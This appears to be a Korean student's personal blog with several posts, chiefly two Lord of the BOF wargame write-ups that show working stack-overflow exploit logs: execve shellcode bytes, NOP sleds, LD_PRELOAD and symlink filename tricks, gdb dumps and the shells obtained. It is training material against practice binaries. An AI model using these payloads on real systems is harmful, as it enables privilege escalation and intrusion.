반응형


CodeGateJr_.pdf


음..

저를 본선으로 이끌어주었던.. 문제임다.

이끌어주긴 했는데.. 

ㅠ....

내년엔 기술적인 문제를 풀고싶네요ㅋㅋ

반응형

'STUDY > Documentation' 카테고리의 다른 글

strace, 제가 한번 사용해 보겠습니다.  (0) 2014.07.22
Buffer Overflow  (3) 2014.05.18
Key File  (0) 2014.05.16
Frame Pointer Overwrite/One Byte Overflow  (5) 2014.04.06
[CodeGate Junior Quals] RunCommand 250  (0) 2014.04.06
MISCCCCCCCCCC!  (0) 2014.03.11
반응형


EvTki.TKAM.pdf


"How, and to what extent, is inequality presented in the book, To Kill a Mockingbird?"를 주제로 한 에세이입니다.

81%로 B-를 받았죠! 하핳핳하ㅏ하하핳하ㅏ하ㅏ하하

넴 그렇다고 합니다..

반응형
반응형

..

..나는누구..?

...여긴어디....?


이번 문제(뿐만아니라 모든 문제들에)에 한줄기 빛을 떨궈준 cd80형에게 엄청난 감사를 표하는 바입니다.

그래도 LD_PRELOAD쓰는방법은 모름미다. 알거같은데 시도를 안해봤어여. 해봐야징.

[(http://cd80.tistory.com)☜☜ 엄청난 시스해커 블로그!클릭클릭] 


로그:

//소스를 처음에 봤는데 memset쪽이 뭔소린지 이해안가서 소스에따가 열씨미 주석달았습니다.

#include <stdio.h>

#include <stdlib.h>


extern char **environ; 


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n"); //아규멘트가 2 이하면 ㅂㅂ!! :D

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n"); //48번째는 \xbf

exit(0);

}


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);


        // stack destroyer!

        memset(buffer, 0, 44); //버퍼의 44바이트를 뽀삼-buffer+sfp

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


/*그리고 리턴어드레스에 들어간 후의 것들도 파개

memset(source, data, amount of data)인데 0xbfffffff - (int)(buffer+48)란 뜻은 buffer+48부터 bfffffff까지의 거리만큼을 다 파괘한단 소리다 절망적이네 */

}


[skeleton@localhost skeleton]$ mkdir `perl -e 'print "\x90"x100, "\x6a\x0b\x58\x99\x52\x68\x2f"'`

[skeleton@localhost skeleton]$ mkdir `perl -e 'print "\x90"x100, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f"'`

[skeleton@localhost skeleton]$ gcc -shared -fPIC asdf.c -o `perl -e 'print "\x90"x100, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`.so 

//여기서 쉘코드랑 놉썰매를 넣어여. 찾기 쉬워지거든여. 썰매도타공

[skeleton@localhost skeleton]$ export LD_PRELOAD=$PWD/`perl -e 'print "\x90"x100, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`.so 

//LD_PRELOAD에 쉘코드뭉치를 넣어요.

[skeleton@localhost skeleton]$ gdb -q nolam core

Core was generated by `                                                        '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /home/skeleton/j

                                     X™Rh//shh/bin‰RS‰Í̀.so...done.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbfbfbfbf in ?? ()

(gdb) q

[skeleton@localhost skeleton]$ ./nolam `perl -e 'print "\xbf"x48'`

¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿

Segmentation fault (core dumped)

[skeleton@localhost skeleton]$ gdb -q nolam core

Core was generated by `                                                        '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /home/skeleton/j

                                                                                                                                         X™Rh//shh/bin‰RS‰Í̀.so...done.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbfbfbfbf in ?? ()

(gdb) x/100wx 0xbfff0000

0xbfff0000:     Cannot access memory at address 0xbfff0000

(gdb) x/100wx 0xbffff000

0xbffff000:     0x000005c9      0x0000029f      0x000006a6      0x0000045f

0xbffff010:     0x000006dd      0x000004a6      0x00000000      0x00000620

0xbffff020:     0x0000051e      0x00000000      0x00000584      0x0000069c

[중략..]

0xbffff610:     0x6b732f65      0x74656c65      0x902f6e6f      0x90909090

0xbffff620:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff630:     0x90909090      0x90909090      0x90909090      0x90909090

(gdb)

0xbffff640:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff650:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff660:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff670:     0x90909090      0x90909090      0x90909090      0x6a909090

0xbffff680:     0x5299580b      0x732f2f68      0x622f6868      0xe3896e69

0xbffff690:     0xe1895352      0x732e80cd      0x4000006f      0x40013868

0xbffff6a0:     0x4000220c      0xbffffbd1      0x00000000      0x00000000

0xbffff6b0:     0x00000000      0x00000000      0x40014a00      0x00000000

0xbffff6c0:     0x00000000      0x00000000      0x00000000      0x00000006

0xbffff6d0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff6e0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff6f0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff700:     0x00000000      0x00000001      0x00000000      0x00000001

0xbffff710:     0xbffff608      0x00060000      0x00000000      0x00000000

(gdb) q

[skeleton@localhost skeleton]$ vi `perl -e 'print "\x90"x100, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`.c

[skeleton@localhost skeleton]$ gcc -shared -fPIC `perl -e 'print "\x90"x100, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`.c -o `perl -e 'print "\x90"x100, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`.so

[skeleton@localhost skeleton]$ export LD_PRELOAD=$PWD/`perl -e 'print "\x90"x100, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`.so

[skeleton@localhost skeleton]$ cat `perl -e 'print "\x90"x100, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`.c

#include<stdio.h>

int main()

{

printf ("wat do i do");

return 31337;

} //소스 뻘글돋네여

[skeleton@localhost skeleton]$ ./nolam `perl -e 'print "\xbf"x48'`

¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿

Segmentation fault (core dumped)

[skeleton@localhost skeleton]$ gdb -q nolam core

Core was generated by `                                                        '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /home/skeleton/j

                                                                                                                                         X™Rh//shh/bin‰RS‰Í̀.so...done.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbfbfbfbf in ?? ()

(gdb) x/100wx 0xbfff0000

0xbfff0000:     Cannot access memory at address 0xbfff0000

(gdb)

0xbfff0004:     Cannot access memory at address 0xbfff0004

(gdb) x/100wx 0xbfff5000

0xbfff5000:     Cannot access memory at address 0xbfff5000

(gdb) x/100wx 0xbfff9000

0xbfff9000:     Cannot access memory at address 0xbfff9000

(gdb) x/100wx 0xbfffb000

0xbfffb000:     Cannot access memory at address 0xbfffb000

(gdb) x/100wx 0xbfffd000

0xbfffd000:     Cannot access memory at address 0xbfffd000

(gdb) x/100wx 0xbffff000 //일케 하나하나 스택을 올라감미다

0xbffff000:     0x000005c9      0x0000029f      0x000006a6      0x0000045f

0xbffff010:     0x000006dd      0x000004a6      0x00000000      0x00000620

0xbffff020:     0x0000051e      0x00000000      0x00000584      0x0000069c

0xbffff030:     0x00000716      0x0000054d      0x00000527      0x000004ed

0xbffff040:     0x000003a1      0x00000458      0x00000466      0x0000063f

0xbffff050:     0x00000000      0x000001ca      0x00000000      0x0000027f

[중략..]

0xbffff600:     0x6b732f65      0x74656c65      0x902f6e6f      0x90909090

0xbffff610:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff620:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff630:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff640:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff650:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffff660:     0x90909090      0x90909090      0x90909090      0x6a909090

0xbffff670:     0x5299580b      0x732f2f68      0x622f6868      0xe3896e69

0xbffff680:     0xe1895352      0x732e80cd      0x4000006f      0x40013868

0xbffff690:     0x4000220c      0xbffffbbc      0x00000000      0x00000000

0xbffff6a0:     0x00000000      0x00000000      0x40014a00      0x00000000

0xbffff6b0:     0x00000000      0x00000000      0x00000000      0x00000006

0xbffff6c0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff6d0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff6e0:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff6f0:     0x00000000      0x00000001      0x00000000      0x00000001

0xbffff700:     0xbffff5f8      0x00060000      0x00000000      0x00000000

0xbffff710:     0x00000000      0x00000001      0x00000000      0x00000000

0xbffff720:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff730:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff740:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff750:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff760:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff770:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffff780:     0x00000000      0x00000000      0x00000000      0x00000000

(gdb) q

The program is running.  Exit anyway? (y or n) y

[skeleton@localhost skeleton]$ ./nolam `perl -e 'print "\x90"x44, "\x10\xf6\xff\xbf"'`

ö ¿

bash$ q

sh: q: command not found

bash$ exit

exit

[skeleton@localhost skeleton]$ ./golem `perl -e 'print "\x90"x44, "\x10\xf6\xff\xbf"'`

ö ¿

bash$ my-pass

euid = 511                                                                                                                                        


방식을 안 후에도 삽질을 많이 했는데, 처음엔 "막 뭐 소스의 함수를 후킹하라는건갘ㅋㅋㅋㅋ아닐텐뎈ㅋㅋ"이러며 웃고있다가 LD_PRELOAD는 환경변수잖아여. 그래서 쉐어드 라이브러리명만 쉘코드로 해놨더니 이게 동적링크인걸로 알고있는데 그래서 쉘코드 안떠서..는 뻥이고요 지금보니까 소중히 잘 들어있네 난 무슨뻘짓을 한거지. 

암튼 LD_PRELOAD란 공유라이브러리를 프로그램 실행전에 들고와서 스택에 고이고이 저장해둡니다. 찾아보니 그냥 스택에 찌꺼기가 남는다던데 그 이유는 뭔가 좀 복잡하다고 합니다. 그래서 음 그냥 공유라이브러리 파일명을 쉘코드로 하면 됬네여. 그렇네. ㅠ. 풀이 방법을 글로 읽기만 하고 시도해본거라 제가 했다고 할 수는 없지만 다음번에 또 써보고 싶은 기법이에여. 간지나잖아 처음에 코드보고 멘붕했는데 그것도 괜찮아진것 같고요 뭐 여러모로 멘붕이었지만 뿌듯하네요 횡설수설 잡담읽어주셔서 감사합니다. 배고프다. 모두들 안녕히주무세여 가정에 평화가 깃들기를

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

darkknight->bugbear  (2) 2014.04.07
golem->darkknight  (0) 2014.04.06
skeleton->golem  (5) 2014.03.17
vampire->skeleton  (2) 2014.02.25
troll->vampire  (0) 2013.12.22
orge->troll  (0) 2013.12.21
  1. BlogIcon EverTokki 2014.03.17 04:33 신고

    목아프고 배고프다.
    여러분 요즘 티스토리에 악성코드떠다닌다는데 다들 조심하세요~

  2. BlogIcon cd80 2014.03.22 11:07 신고

    저 위에 블로그 짱이네욛ㄷㄷㄷㄷㄷㄷㄷㄷㄷ

  3. BlogIcon 진모씨 2014.03.22 17:01 신고

    LD_PRELOAD 등 LD설정은 요즘 리눅스에서만 그런건지 모르겠지만 suid, sgid 설정이 걸린 바이너리에는 적용이 안되여. 만약 되면 그냥 그 라이브러리 init 설정에 바로 쉘 걸면 되는 현상이.. ㅎㅎ.....
    저 위의 블로그 엄청나네요;; 감사합니다

    • BlogIcon EverTokki 2014.03.23 19:37 신고

      아 헐.. 그렇군여.. 신기하네요ㄷㄷㄷㅋㅋ
      한곳을 막으면 다른방법이 존재하는게..ㄷㄷ

반응형


MISCCCCCCCCCC.pdf


장난으로 시작한걸 정말 쓸 줄은 몰랐슴다.

근데 이거 쓰기 시작한건 작년에 시작했는데 중간에 묵혀두다가 오늘 발견하고 후딱 끝내버렸다..

뭔가 조금 허술한 감이 없지않아 많지만, 문서를 쓰는거에 조금 익숙해져야겠다 하고 연습겸 쓴 것 같아요.

언리밋님.. 예제에 풀이를 썼는데... 양해해주세요 +_+..

쓰는건 재미있었습니다ㅋㅋ 컬러풀하니 예쁜가요?

구글드라이브에서 적어서 포맷이 어케되었는지 확인하기 두렵습니다..

반응형

'STUDY > Documentation' 카테고리의 다른 글

strace, 제가 한번 사용해 보겠습니다.  (0) 2014.07.22
Buffer Overflow  (3) 2014.05.18
Key File  (0) 2014.05.16
Frame Pointer Overwrite/One Byte Overflow  (5) 2014.04.06
[CodeGate Junior Quals] RunCommand 250  (0) 2014.04.06
MISCCCCCCCCCC!  (0) 2014.03.11
반응형

저거 한번쓰려고 종이에다가 한가득 제 닉네임을 (오글거리는것을 참고서) 쓴 다음에 골랐어요..

예쁘죠 예쁘죠


초딩때부터 영어나 한글이나 글씨 예쁘게 못쓰는게 엄청 트라우마였는데 중학생이 되고 나니 점점 좋아지더라고요.

그러니 초등학생 여러분, 예쁘게 쓴다고 굳이 자음을 그렇게 크게 쓰지 않아도 되요ㅋㅋ 날려쓰지 않아도 되고

편한대로 쓰세요 :) 초등학교 공책보면 이게 외계어인지 한글인지 세종대왕님 죄송합니다 사랑합니다 옛날부터 열심히 써도 안나아지던 손글씨가 그냥 나아지더라고요

막 초딩때는 샤프쓰면 버릇나빠진다고 못쓰게 했는데 그래도 3~4학년부턴 써도 되는거같구여

중학생정도 되면 손에 힘이 생겨서인지 아니면 뭐 더 많이 써서 그런지 손글씨 교정이 다 되요ㅋㅋㅋㅋㅋ

저도 쓰면서 신기함..

한 중2 중반부터 나아지더니 그당시 여름에 다닌 영어학원때문인가 에세이를 많이 써서 그런가  이제는 진짜 대충써도 읽을만큼은 되요. 졸때는 예외...


암튼 그렇다고 합니다

반응형

'KOREAN > 뻘글' 카테고리의 다른 글

이번달에 할 것  (2) 2014.06.09
pCTF2014 irc log  (2) 2014.04.13
제 프로필 사진 어떤가요  (0) 2014.03.05
[3월목표] 잡다  (0) 2014.02.24
LeaveRet Wiki  (0) 2014.02.13
[1,2월목표] dovelet  (0) 2014.01.10
반응형

헠헠헠헠허커헣컿ㅋ헠ㅎ

내가 몇달동안 삽질하다가 아씨 나는 재능이업나보다 할 정도으 ㅣ문제였느데!!!!!!!!!!!!!!!!!

으헝ㄹㅁㄴㅇ럼ㄴ임ㄴㅇㄹ!!!!!!!!!!!!

풀렸쪙!!!!!!!!!!!!!!!

ㅇ름ㄴㄴㄹㄹㄹㄹㅁㄴㅇㄹ


쉘코드는 지난번에 사용한 2f없는것도 왠일로 안먹길래,, 그리고 2f들어가는거 심볼릭 링크로 하는거 배웠는데 손이랑 머리가 고자라 기억못해서  삽질끝에 풀이에서 가져왔어요. 쉘코드 출처:http://john-data.tistory.com/187

풀이는 안봤어요 히힣ㅎ히히히히히히 보려고도 했으나 엄청나게 설명이 많아서 그냥 다 때려치고 학교프로젝트도 때려치고 이것만 때려잡으려는찰나에 히히힣ㅎ히히히히히

잡담은 그만하고 정리한 로그 보여드릴께요.


//bash 2, ./ssssssss는 복사본.

[vampire@localhost vampire]$ ls

skeleton  skeleton.c

[vampire@localhost vampire]$ cat skeleton.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - skeleton

        - argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

        char buffer[40];

        int i, saved_argc;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // egghunter

        for(i=0; environ[i]; i++)

                memset(environ[i], 0, strlen(environ[i]));


        if(argv[1][47] != '\xbf')

        {

                printf("stack is still your friend.\n");

                exit(0);

        }


        // check the length of argument

        if(strlen(argv[1]) > 48){

                printf("argument is too long!\n");

                exit(0);

        }


        // argc saver

        saved_argc = argc;


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40); //버퍼 사라짐


        // ultra argv hunter!

        for(i=0; i<saved_argc; i++)

                memset(argv[i], 0, strlen(argv[i])); //argv를 다 각각의 크기만큼을 0으로 덮어버림

}

[vampire@localhost vampire]$ ln -s ./ssssssss `perl -e 'print "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

[vampire@localhost vampire]$ ./`perl -e 'print "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

argv error

[vampire@localhost vampire]$ ./`perl -e 'print "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `perl -e 'print "\xbf"x44, "\xcd/xff/xff/xbf"'`

stack is still your friend.

[vampire@localhost vampire]$ ./`perl -e 'print "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `perl -e 'print "\xbf"x44, "\xcd/xff/xff/xbf"'`

stack is still your friend.

[vampire@localhost vampire]$ ./`perl -e 'print "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `perl -e 'print "\xbf"x44, "\xcd\xff\xff\xbf"'`

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜?

Segmentation fault (core dumped)

[vampire@localhost vampire]$ gdb -q ./`perl -e 'print "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` core


warning: core file may not match specified executable file.

Core was generated by `                                                                              '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbfffffcd in ?? ()

(gdb) b main

Breakpoint 1 at 0x8048506

(gdb) r

Starting program: /home/vampire/./h?須?h

                                        켚Thjo??i0chi0tijY


                                                             ?y?投T?


Breakpoint 1, 0x8048506 in main ()

(gdb) x/10s $esp

0xbffffa88: "?202\004\b?\034\002@뫄퓈?

0xbffffa97: "@[\205\017@4\227\004\b`?

0xbffffaa3: "@\004?옇?용\204\004\b \227\004\b4\227\004\b綿옹\t\003@\001"

0xbffffac2: ""

0xbffffac3: ""

(중략)

0xbffffbf3: ""

0xbffffbf4: "i686"

0xbffffbf9: "/home/vampire/./h\212須\201h?fSThjo\212?\001i0chi0tij\024Y?f\fIy?投T?

0xbffffc31: "LESSOPEN=|/usr/bin/lesspipe.sh %s"

(gdb) 

0xbffffc53: "USERNAME="

0xbffffc5d: "HISTSIZE=1000"

0xbffffc6b: "HOSTNAME=localhost.localdomain"

0xbffffc8a: "LOGNAME=vampire"

0xbffffc9a: "REMOTEHOST=192.168.10.141"

0xbffffcb4: "MAIL=/var/spool/mail/vampire"

0xbffffcd1: "MACHTYPE=i386-redhat-linux-gnu"

0xbffffcf0: "TERM=xterm"

0xbffffcfb: "HOSTTYPE=i386"

0xbffffd09: "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/vampire/bin"

(gdb) 

0xbffffd4c: "HOME=/home/vampire"

0xbffffd5f: "INPUTRC=/etc/inputrc"

0xbffffd74: "SHELL=/bin/bash"

0xbffffd84: "USER=vampire"

0xbffffd91: "BASH_ENV=/home/vampire/.bashrc"

0xbffffdb0: "DISPLAY=192.168.10.141:0.0"

0xbffffdcb: "LANG=en_US"

0xbffffdd6: "OSTYPE=linux-gnu"

0xbffffde7: "PWD=/home/vampire"

0xbffffdf9: "SHLVL=2"

(gdb) x/x 0xbfffffc4

0xbfffffc4: 0x6d6f682f

(gdb) x/10x 0xbfffffc4

0xbfffffc4: 0x6d6f682f 0x61762f65 0x7269706d 0x2f2e2f65

0xbfffffd4: 0xcee28a68 0x0cb16881 0x6a685453 0x68e48a6f

0xbfffffe4: 0x63306901 0x74306968

(gdb) x/10x 0xbfffffc3

0xbfffffc3: 0x6f682f00 0x762f656d 0x69706d61 0x2e2f6572

0xbfffffd3: 0xe28a682f 0xb16881ce 0x6854530c 0xe48a6f6a

0xbfffffe3: 0x30690168 0x30696863

(gdb) x/10x 0xbfffffc1

0xbfffffc1: 0x2f003a35 0x656d6f68 0x6d61762f 0x65726970

0xbfffffd1: 0x682f2e2f 0x81cee28a 0x530cb168 0x6f6a6854

0xbfffffe1: 0x0168e48a 0x68633069

(gdb) q  //여기서 앞에 nop를 안넣었다는 사실을 알아챔. 읽고 찾기 힘들어서 nop를 채웠습니다.

The program is running.  Exit anyway? (y or n) y

[vampire@localhost vampire]$ clear

[vampire@localhost vampire]$ rm rf *

rm: cannot remove `rf': No such file or directory

rm: j

     X?Rh: is a directory

rm: remove write-protected file `skeleton'? y^Hn

rm: remove write-protected file `skeleton.c'? n

[vampire@localhost vampire]$ ls

j?X?Rh  skeleton.c

[vampire@localhost vampire]$ oh shit  //원본 프로그램 날림 이히히히히 권한이 사라졌따!

bash2: oh: command not found

[vampire@localhost vampire]$ gcc skeleton.c -o skeleton

[vampire@localhost vampire]$ ln -s ./ssssssss `perl -e 'print "\x90"x40, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

[vampire@localhost vampire]$ ./`perl -e 'print "\x90"x40, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `perl -e 'print "\xbf"x48'`

bash2: ./????????????????????????????????????????h?須?h

                                                       SThjo??i0chi0tijY


                                                                           Iy?投T? No such file or directory

[vampire@localhost vampire]$ cp skeleton ssssssss

[vampire@localhost vampire]$ ./`perl -e 'print "\x90"x40, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `perl -e 'print "\xbf"x48'`

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

Segmentation fault (core dumped)

[vampire@localhost vampire]$ gdb -q `perl -e 'print "\x90"x40, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` core


warning: core file may not match specified executable file.

Core was generated by `                                                                              '.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Reading symbols from /lib/ld-linux.so.2...done.

#0  0xbfbfbfbf in ?? ()

(gdb) b main

Breakpoint 1 at 0x8048506

(gdb) r

Starting program: /home/vampire/????????????????????????????????????????h?須?h

                                                                              켚Thjo??i0chi0tijY


                                                                                                   ?y?投T?


Breakpoint 1, 0x8048506 in main ()

(gdb) x/10x 0xbfffffcd

0xbfffffcd: 0x90909090 0x68909090 0x81cee28a 0x530cb168

0xbfffffdd: 0x6f6a6854 0x0168e48a 0x68633069 0x69743069

0xbfffffed: 0xfe59146a 0x79490c0c

(gdb) x/10x 0xbfffffd2

0xbfffffd2: 0x8a689090 0x6881cee2 0x54530cb1 0x8a6f6a68

0xbfffffe2: 0x690168e4 0x69686330 0x6a697430 0x0cfe5914

0xbffffff2: 0xfa79490c 0x54e1f741

(gdb) x/10x 0xbfffffd4

0xbfffffd4: 0xcee28a68 0x0cb16881 0x6a685453 0x68e48a6f

0xbfffffe4: 0x63306901 0x74306968 0x59146a69 0x490c0cfe

0xbffffff4: 0xf741fa79 0x00c354e1

(gdb) q

The program is running.  Exit anyway? (y or n) y

[vampire@localhost vampire]$ ./`perl -e 'print "\x90"x40, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `perl -e 'print "\xbf"x44, "\xd4\xff\xff\xbf"'`

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜?

bash$ hell yes

sh: hell: command not found

bash$ exit

exit

[vampire@localhost vampire]$ rm ./ssssssss `perl -e 'print "\x90"x40, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

[vampire@localhost vampire]$ ln -s ./skeleton  `perl -e 'print "\x90"x40, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`

[vampire@localhost vampire]$ ./`perl -e 'print "\x90"x40, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `perl -e 'print "\xbf"x44, "\xd4\xff\xff\xbf"'`

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜?

bash$ my-pass


...

중간에 프로그램을 날린 관계로

키는 찾아서 하겠습니다...ㅋ

아 안그래도 요즘 정신적으로 너무 힘든데 그나마 힐링되네요 힐링♥︎

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

golem->darkknight  (0) 2014.04.06
skeleton->golem  (5) 2014.03.17
vampire->skeleton  (2) 2014.02.25
troll->vampire  (0) 2013.12.22
orge->troll  (0) 2013.12.21
darkelf->orge  (0) 2013.11.22
  1. rubiya 2014.03.05 22:26

    파일을ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ날렸엌ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

    • BlogIcon EverTokki 2014.03.08 06:09 신고

      ㅠㅠㅠㅠㅠㅠ파일날리고 얼마나 당황했는지 모르실꺼에요ㅋ..

반응형

우선 이달은 부모님 생신. 생일선물을 위해 저축좀해야겠다


이달 내내 더블릿 10문제 푸는것을 목표로 합니다.

3월 14일쯤까진(그게 무슨날이죠? 뭐라고요? 잘 안들리네요) 지금 방법을 아는데도 성공시키지 못하는 lob문제를 풀고 rtl기법으로 밀고나갈..생각입니다. 디버깅 실력도 늘려야되는데!!!!!!!!!


요즘은 영어든 한글이든 난독증이 오는것같은데(아마 언어구상능력이 떨어지고 있다는 증거겠죠..), 그나마 한글이 나은데, 한글마저 어려우니까 이해가 힘든데 여러번 읽으면 점차 이해되겠죠? 하하..


..음 그래서 궁극적인 목표는 학교를 한달동안 별 탈없이 버티는것입니다...

 +)롤은 끊었어요 헤헤 어차피 못해서 늘 욕만먹다보니 별로 할마음도 없어지게되더라구여 가끔씩 들어가서 해야지



[후기]

..아.

이제와서 확인해보니 하나도 안함

